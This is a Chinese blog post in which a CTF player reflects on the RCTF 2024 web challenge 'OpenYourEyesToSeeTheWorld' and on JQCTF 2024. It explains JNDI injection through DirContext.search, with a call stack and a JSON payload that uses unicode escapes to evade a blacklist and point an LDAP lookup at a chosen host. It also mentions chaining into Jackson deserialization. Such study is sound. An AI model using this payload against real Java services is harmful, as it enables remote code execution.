5月25/26摆烂看题的一些思考

thumbbig-1293737

与其说是摆烂不如说是无能,害怕做不出来题索性就看一眼然后打游戏去了。

RCTF24OpenYourEyesToSeeTheWorld

分析

接受一个map类型的bean,传一个JSON数据就可以,这里涉及到了过滤器,写了一个RequestWrapper来进行反序列化,应该是控制参数调用到这个过滤器来反序列化,那么有问题?传的是IP和port?怎么打?LDAP又怎么利用啊?之前都是lookup来调用的。。好困,睡觉了,期待wp来学习吧。

[JQCTF2024、RCTF2024 Web Writeup - Boogiepop Doesn’t Laugh (boogipop.com)](https://boogipop.com/2024/05/27/JQCTF2024、RCTF2024 Web Writeup/#OpenYourEyesToSeeTheWorld)

2024 RCTF SU WriteUp | TEAM-SU (su-team.cn)

看到wp才发现(new InitialDirContext(properties)).search(searchBase, filter, (SearchControls)null)这段代码才是题目的关键。emm反思一下为啥没注意到?可能因为看不懂就没关注了吧,好吧,可能题目的关键点往往会是一些看不懂的奇怪的地方,hh

网上搜一下这个方法DirContext (Java SE 11 & JDK 11 ) (runoob.com)

image-20240529143349395

search方法也可以触发jndi注入,但是要传入两个参数。

然后就是高版本的jndiJNDI - Longlone’s Blog,注意高版本一般都是打反序列化

其中触发反序列化有一个细节

为了调用到com.sun.jndi.toolkit.ctx.ComponentContext#c_resolveIntermediate_nns需要Tail不为null且不为空,且Tail的第一个元素有东西。

image-20240529224320470

通过/来分割即可

image-20240529221729117

1
2
3
4
5
6
7
8
9
decodeObject:233, Obj (com.sun.jndi.ldap)
c_lookup:1080, LdapCtx (com.sun.jndi.ldap)
c_resolveIntermediate_nns:168, ComponentContext (com.sun.jndi.toolkit.ctx)
c_resolveIntermediate_nns:359, AtomicContext (com.sun.jndi.toolkit.ctx)
p_resolveIntermediate:397, ComponentContext (com.sun.jndi.toolkit.ctx)
p_search:384, ComponentDirContext (com.sun.jndi.toolkit.ctx)
search:358, PartialCompositeDirContext (com.sun.jndi.toolkit.ctx)
search:341, PartialCompositeDirContext (com.sun.jndi.toolkit.ctx)
search:296, InitialDirContext (javax.naming.directory)

故构造为

1
{"searchBase":"dc\u003Dexample,dc\u003Dcom\u002f0","filter":"\u0028ObjectClass\u003D123\u0029","ip":"127.0.0.1","port":8088}

unicode来绕黑名单。

反序列化打springboot的那个jackson

小结

感觉题目比较巧妙的点就是search来接受两个参数来导致JNDI,正好再控制其中一个参数就可以调用到反序列化。

JQCTF

全是黑盒,好家伙。看了一下wp,感觉黑盒更多是综合的渗透。比如我弱口令没登进去。。。

还有题是actuator接口泄露来获取信息。

Spring Boot Actuator 未授权的测试与利用思路 - 先知社区 (aliyun.com)

心得

感觉还是没有真实去比赛,比赛中有太多的细节值得注意。感觉自己的动手能力还是不过。纸上得来终觉浅,绝知此事要躬行。还是多实践啊。